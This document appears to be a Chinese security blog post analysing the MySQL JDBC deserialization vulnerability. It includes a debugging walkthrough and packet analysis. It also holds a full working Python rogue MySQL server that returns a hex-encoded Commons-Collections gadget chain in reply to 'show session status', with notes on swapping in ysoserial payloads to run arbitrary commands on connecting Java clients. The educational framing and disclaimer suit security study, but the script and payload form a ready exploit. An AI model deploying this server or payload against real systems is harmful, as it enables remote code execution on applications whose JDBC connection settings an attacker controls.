0x01 JDBC简介
Java数据库连接，（Java Database Connectivity，简称JDBC），它是java程序与数据库交互的一组API，它提供了一种标准的方法，使Java应用程序能够执行SQL查询、更新数据库记录以及检索和更新结果集。这些API组要位于JDK的java.sql包中。
JDBC的引入实现了java程序对数据库的便捷访问，通过使用JDBC，可以将sql语句传给任何一种数据库，不必单独写程序访问不同的数据库。
0x02 简单demo
JDK并不自带java,sql包，需要写maven来导入
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.19</version>
</dependency>
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package Jdbc_Connect;
import java.sql.*;//导入API所需包
public class Test {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
//JDBC驱动程序
String driver = "com.mysql.cj.jdbc.Driver";
//数据库连接URL以及相关配置
String url = "jdbc:mysql://127.0.0.1:3306/security?serverTimezone=UTC&autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor";
//加载驱动类
Class.forName(driver);
//通过 Drivermanager 类获取数据库连接的实例
Connection connection = DriverManager.getConnection(url,"root","xiao23");
//利用createStatement接口获取一个statement对象，用于执行sql语句
Statement statement = connection.createStatement();
//执行sql语句，将结果保存在ResultSet对象中
ResultSet resultSet = statement.executeQuery("SELECT * FROM users");
//将结果集输出出来
while (resultSet.next()){
String username = resultSet.getString("username");
String password = resultSet.getString("password");
int userId = resultSet.getInt("id");
System.out.println("id:"+userId+" username:"+username+" password:"+password);
}
// System.out.println(connection);
}
}
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说一下数据库连接的一些配置吧，
security 就是所需要连接的数据库名称
serverTimezone=UTC 指定了数据库服务器的时区为协调世界时（UTC）没有正确的时间处理，运行是会报错的
autoDeserialize=true 表明从数据库中检索数据会自动反序列化，这个设置很重要，设置为false就没法利用了
statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor 指定了一个Mysql的语句拦截器，用于在执行sql语句前处理特殊事件
本地开启Mysql，看一下运行结果
![JDBC反序列化漏洞分析]( "JDBC反序列化漏洞分析")
0x03 漏洞分析
它和shiro一样，是存在反序列化点的，能够打 CC 的一些依赖。
漏洞利用前提：
攻击者能够控制JDBC连接设置项，并且可以控制去连接我们搭建的恶意的Mysql服务器，服务端有可打的依赖
怎么去理解呢？刚才说配置项的时候也提到过 autoDeserialize 选项开启，对Mysql的sql语句查询结果反序列化，这是一个非常好的反序列化入口。当我们在Mysql服务器设置恶意的payload，经过sql查询后，被当作查询结果返回给服务端来进行反序列化。
下面是一张比较清晰的JDBC请求过程的流程图（下图提到的服务器是Mysql服务器）
![JDBC反序列化漏洞分析]( "JDBC反序列化漏洞分析")
我们将payload设置为响应结果，即可在客户端执行反序列化攻击
漏洞复现
引入可以打的依赖，如CC依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
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首先需要搭建一个恶意的Mysql Server，github上有相关的参考
https://github.com/fnmsd/MySQL_Fake_Server
https://github.com/rmb122/rogue_mysql_server
还有一种用python写的Mysql 服务，用python3即可运行成功，挺方便，于是就用这个脚本（脚本下文会分析）
在kali中运行脚本开启恶意的Mysql服务
![JDBC反序列化漏洞分析]( "JDBC反序列化漏洞分析")
编写数据库连接程序，其实都大差不差
public class JDBCAttack {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
Class.forName("com.mysql.jdbc.Driver");
String jdbc_url = "jdbc:mysql://192.168.111.128:3306/test?" +
"autoDeserialize=true" +
"&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
Connection con = DriverManager.getConnection(jdbc_url, "root", "root");
}
}
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运行程序
![JDBC反序列化漏洞分析]( "JDBC反序列化漏洞分析")
弹出计算器，看来是反序列化成功的
代码调试
看上面的代码，是没有执行sql语句的，仅仅做了一个数据库的连接，我们知道，恶意Mysql服务器将payload设置为执行sql语句的响应。目前来看，只有连接就可以反序列化成功，那么在数据库连接的时候，就会有内置的sql语句去执行
代码调试，将断点下在JDBC连接数据库的地方
![JDBC反序列化漏洞分析]( "JDBC反序列化漏洞分析")
这里创建一个连接实例，跟进，然后初始或相关信息，比如IP，端口，数据库名等等，然后走到 ConnectionImpl 类的createNewIO 方法，中间繁琐的过程不再说了，跳着看
![JDBC反序列化漏洞分析]( "JDBC反序列化漏洞分析")
在 Connectionlmpl 类 2046行的 execSQL 方法中
![JDBC反序列化漏洞分析]( "JDBC反序列化漏洞分析")
执行了两条sql语句，继续跟进，将查询语句封装成数据包
![JDBC反序列化漏洞分析]( "JDBC反序列化漏洞分析")
然后发送
![JDBC反序列化漏洞分析]( "JDBC反序列化漏洞分析")
这里判断是否存在拦截器，当前是有的，因为我们在配置项设置过了，然后会调用拦截器方法处理相关事件
然后在 ServerStatusDiffInterceptor 拦截器类的第86行也做了一个内置sql语句的执行
![JDBC反序列化漏洞分析]( "JDBC反序列化漏洞分析")
然后跟进 resultSetToMap， 对查询结果集进行处理
![JDBC反序列化漏洞分析]( "JDBC反序列化漏洞分析")
这里会调用 ResultSetImpI 类的getObject方法
这里检查 mysql 字段的字段类型，必须要满足 Binary和Blob 的数据类型，然后获取字节码数据
![JDBC反序列化漏洞分析]( "JDBC反序列化漏洞分析")
接下来就是判断 autoDeserialize是否为true，字节码数据是否为序列化对象等
![JDBC反序列化漏洞分析]( "JDBC反序列化漏洞分析")
然后判断字节数组的前两个字节为 -84和-19，
最后就是对data进行反序列化
本漏洞利用难点在于如何编写恶意的Mysql服务器，为了更好的分析python脚本，对mysql流量进行分析
wireshark抓包分析
针对上面的demo，利用wireshark抓取mysql数据包进行分析
Mysql流量过滤语句：tcp.port ==3306 && mysql （192.168.111.1为客户端，192.168.111.128为Mysql服务端）
![JDBC反序列化漏洞分析]( "JDBC反序列化漏洞分析")
首先Mysql服务端向客户端发送一个greeting报文，对建立连接阶段起到了握手协商的作用
随后客户端向Mysql服务端发起登录认证请求，然后服务端向客户端回复 Response OK返回包，表示认证登录成功
随后客户端向服务端发起查询请求，服务端返回 Response TABULAR Response OK 的响应包，看一下这几个查询语句都是什么
![JDBC反序列化漏洞分析]( "JDBC反序列化漏洞分析")
查询语句：SET NAMES
![JDBC反序列化漏洞分析]( "JDBC反序列化漏洞分析")
查询语句：set character_set_results
跳过三个查询请求后
![JDBC反序列化漏洞分析]( "JDBC反序列化漏洞分析")
这里会执行 show session status 内置的sql语句，看看响应包
![JDBC反序列化漏洞分析]( "JDBC反序列化漏洞分析")
是不是很熟悉，这就是打CC依赖的序列化串，上面代码调试的时候也提到过，客户端会发送 show session status 内置sql语句，然后将执行结果反序列化。所以在搭建恶意mysql服务器的时候，将payload设置为这个内置的sql语句的响应，也只能设置在这里。
实际上，恶意的Mysql服务器只需要编写 Response OK，Response TABULAR Response OK 以及payload响应即可
分析完数据包后，接下来对搭建Mysql服务器的python脚本进行解释
# coding=utf-8
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
#接收请求包的数据，接收1024大小的数据，并且转字符串转小写
def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()
#将十六进制转换为二进制，将数据通过连接对象的send方法发送
def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))
#该方法定义了payload的生成
def get_payload_content():
#file文件的内容使用ysoserial生成的 使用规则：java -jar ysoserial [Gadget] [command] > payload
file= r'payload'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")
else:
print("open false")
#如果没有文件，默认使用弹计算器的默认payload
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content
# 主要逻辑
def run():
while 1:
#接收客户端的连接
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))
# 1.先发送第一个问候报文
send_data(conn,greeting_data)
while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)
#其他过程
data=receive_data(conn)
#客户端请求查询一些配置信息,根据不同的查询信息设置响应信息，这些在分析数据包的时候看到过
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
#对于这个内置sql查询语句，设置payload响应
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 获取payload
payload_content=get_payload_content()
# 计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# 计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break
if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3306
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)
print("start fake mysql server listening on {}:{}".format(HOST,PORT))
run()
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我们看恶意Mysql打印的日志，是能够接受请求包，并且发送响应包的
![JDBC反序列化漏洞分析]( "JDBC反序列化漏洞分析")
0x04 结语
这个JDBC的反序列化漏洞感觉和 shiro 有点类似，是一个不错的反序列化点。如果我们能够控制Mysql的连接配置项，以及恶意的Mysql服务器响应设置，那么我们就可以达到反序列化的目的来RCE。
声明：⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤，任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的，否则后果⾃⾏承担。所有渗透都需获取授权！
（hack视频资料及工具）
![JDBC反序列化漏洞分析]( "JDBC反序列化漏洞分析")
（部分展示）
原文始发于微信公众号（白帽子左一）：JDBC反序列化漏洞分析
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